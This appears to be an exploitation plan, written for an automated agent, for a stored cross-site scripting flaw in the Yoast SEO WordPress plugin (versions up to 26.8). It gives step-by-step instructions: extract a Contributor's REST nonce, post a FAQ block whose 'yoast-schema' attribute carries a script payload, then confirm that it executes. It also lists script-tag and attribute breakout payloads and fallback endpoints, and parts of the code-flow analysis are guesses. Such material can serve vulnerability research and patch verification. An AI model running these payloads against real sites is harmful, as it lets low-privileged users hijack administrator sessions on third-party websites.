Exploitation Research Plan - CVE-2026-1293

1. Vulnerability Summary

The Yoast SEO plugin (versions <= 26.8) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting. The vulnerability exists because the plugin fails to sanitize or escape the yoast-schema attribute used within its Gutenberg structured data blocks (such as the FAQ block). While this attribute is primarily used for generating JSON-LD structured data, it is improperly handled during the server-side rendering or client-side display of the block, allowing a user with at least Contributor-level permissions to inject arbitrary scripts that execute in the context of any user (including Administrators) viewing the affected page.

2. Attack Vector Analysis

• Vulnerable Attribute: yoast-schema (associated with blocks like yoast/faq-block).
• Endpoint: WordPress REST API POST /wp-json/wp/v2/posts or the classic AJAX-based POST /wp-admin/post.php.
• Authentication Required: Contributor level or higher (authenticated).
• Preconditions: The Yoast SEO plugin must be active. The attacker needs the ability to create or edit posts (Contributors have this by default).

3. Code Flow

1. Input: A Contributor sends a request to save a post containing a Yoast block (e.g., yoast/faq-block).
2. Storage: The WordPress Block Editor (Gutenberg) serializes block attributes into the post_content in the database. The payload is stored within the HTML comments that define the block: <!-- wp:yoast/faq-block {"yoast-schema":"<script>alert(1)</script>"} /-->.
3. Rendering (Sink): When the post is viewed, the plugin's block rendering logic (likely a render_callback registered in the block's PHP registration) retrieves the attributes from the block comments.
4. Vulnerability: The logic fails to apply esc_attr(), esc_html(), or wp_kses() to the yoast-schema value before outputting it into the page source (either as part of a hidden input, a data attribute, or within a <script type="application/ld+json"> block).

4. Nonce Acquisition Strategy

To save a post via the REST API (the most reliable method for an automated agent), a wp_rest nonce is required.

1. Create Content: The agent should first ensure a post exists where the plugin's assets are loaded, or simply use the standard admin dashboard.
2. Navigation: Use browser_navigate to go to wp-admin/post-new.php as the Contributor user.
3. Extraction: Execute browser_eval to extract the REST nonce from the wpApiSettings object provided by WordPress.
   • JS Script: window.wpApiSettings.nonce
4. Header: Include this nonce in the X-WP-Nonce header of subsequent REST API requests.

5. Exploitation Strategy

Step 1: Authentication and Nonce Extraction

• Action: Log in as a Contributor user.
• Action: Navigate to wp-admin/index.php.
• Extraction: nonce = browser_eval("window.wpApiSettings.nonce").

Step 2: Inject Malicious Block

• Method: POST
• URL: /wp-json/wp/v2/posts
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body (JSON):

{
  "title": "SEO FAQ Test",
  "content": "<!-- wp:yoast/faq-block {\"yoast-schema\":\"<script>alert(document.domain)</script>\"} -->\n<div class=\"schema-faq wp-block-yoast-faq-block\"></div>\n<!-- /wp:yoast/faq-block -->",
  "status": "publish"
}

Note: If the yoast-schema is rendered inside a script tag, use: </script><script>alert(1)</script>.

Step 3: Trigger the XSS

• Action: Navigate to the URL of the newly created post (found in the REST API response as link).
• Observation: Verify if the JavaScript executes.

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Plugin: Install and activate Yoast SEO version 26.8.
3. Settings: Default settings are sufficient.

7. Expected Results

• The REST API should return 201 Created.
• When viewing the post on the frontend, the page source should contain the unescaped payload.
• The browser should execute the alert(document.domain) script.

8. Verification Steps

1. Database Check: Use wp-cli to inspect the post content.
   • wp post get [POST_ID] --field=post_content
   • Confirm the yoast-schema attribute contains the raw payload.
2. Frontend Inspection: Use http_request to fetch the post content and grep for the payload.
   • http_request(url_of_post)
   • Search for <script>alert(document.domain)</script> in the response body.

9. Alternative Approaches

If the yoast-schema attribute is not rendered directly but is instead used as an HTML attribute:

• Attribute Breakout Payload: \" onmouseover=\"alert(1)\" data-x=\"
• JSON-LD Breakout Payload: \"};alert(1);var x={\"a\":\" (if inside a JS variable)

If the REST API is restricted, use the bulk editor AJAX endpoint found in admin/ajax.php:

• Action: wpseo_save_title or wpseo_save_metadesc.
• Note: These handlers in ajax.php use sanitize_text_field, which might strip tags. Focus on the Gutenberg block attribute path as described in the CVE title.